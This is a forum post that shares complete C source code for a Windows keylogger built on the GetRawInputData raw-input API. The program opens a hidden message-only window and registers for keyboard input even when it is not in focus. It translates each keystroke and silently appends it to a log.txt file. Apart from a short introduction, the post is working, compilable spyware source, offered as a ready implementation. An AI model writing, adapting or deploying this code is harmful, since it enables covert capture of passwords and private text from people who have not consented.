Jump to content
Nytro

[C] GetRawInputData() keylogger

Recommended Posts

[C] GetRawInputData() keylogger

Author: defsanguje

Just an another way to implement an user-mode keylogger. The code registers a raw input device that receives mouse and keyboard input. GetRawInputData() API was introduced in Windows XP to access input devices (joysticks, microphones etc) at low level. More info can be found here.

#define _WIN32_WINNT 0x0501
#include <windows.h>

// Definitions
int LogKey(HANDLE hLog, UINT vKey);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);

// Globals
const char g_szClassName[] = "klgClass";

// Window procedure of our message-only window
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
static HANDLE hLog;
UINT dwSize;
RAWINPUTDEVICE rid;
RAWINPUT *buffer;

switch(msg)
{
case WM_CREATE:
// Register a raw input device to capture keyboard input
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;

if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
{
MessageBox(NULL, "Registering raw input device failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}

// open log.txt
hLog = CreateFile("log.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hLog == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Creating log.txt failed!", "Error",
MB_ICONEXCLAMATION|MB_OK);
return -1;
}

// append
SetFilePointer(hLog, 0, NULL, FILE_END);
break;

case WM_INPUT:
// request size of the raw input buffer to dwSize
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));

// allocate buffer for input data
buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);

if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,
sizeof(RAWINPUTHEADER)))
{
// if this is keyboard message and WM_KEYDOWN, log the key
if(buffer->header.dwType == RIM_TYPEKEYBOARD
&& buffer->data.keyboard.Message == WM_KEYDOWN)
{
if(LogKey(hLog, buffer->data.keyboard.VKey) == -1)
DestroyWindow(hwnd);
}
}

// free the buffer
HeapFree(GetProcessHeap(), 0, buffer);
break;

case WM_DESTROY:
if(hLog != INVALID_HANDLE_VALUE)
CloseHandle(hLog);
PostQuitMessage(0);
break;

default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASSEX wc;
HWND hwnd;
MSG msg;

// register window class
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = g_szClassName;

if(!RegisterClassEx(&wc))
{
MessageBox(NULL, "Window Registration Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}

// create message-only window
hwnd = CreateWindowEx(
0,
g_szClassName,
NULL,
0,
0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL
);

if(!hwnd)
{
MessageBox(NULL, "Window Creation Failed!", "Error!",
MB_ICONEXCLAMATION|MB_OK);
return 0;
}

// the message loop
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}

int LogKey(HANDLE hLog, UINT vKey)
{
DWORD dwWritten;
BYTE lpKeyboard[256];
char szKey[32];
WORD wKey;
char buf[32];
int len;

// Convert virtual-key to ascii
GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
GetKeyboardState(lpKeyboard);

len = 0;
switch(vKey)
{
case VK_BACK:
len = wsprintf(buf, "[BP]");
break;
case VK_RETURN:
len = 2;
strcpy(buf, "\r\n");
break;
case VK_SHIFT:
break;
default:
if(ToAscii(vKey, MapVirtualKey(vKey, 0), lpKeyboard, &wKey, 0) == 1)
len = wsprintf(buf, "%c", (char)wKey);
else if(GetKeyNameText(MAKELONG(0, MapVirtualKey(vKey, 0)), szKey, 32) > 0)
len = wsprintf(buf, "[%s]", szKey);
break;
}

// Write buf into the log
if(len > 0)
{
if(!WriteFile(hLog, buf, len, &dwWritten, NULL))
return -1;
}

return 0;
}

Sursa: [C]GetRawInputData() keylogger

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...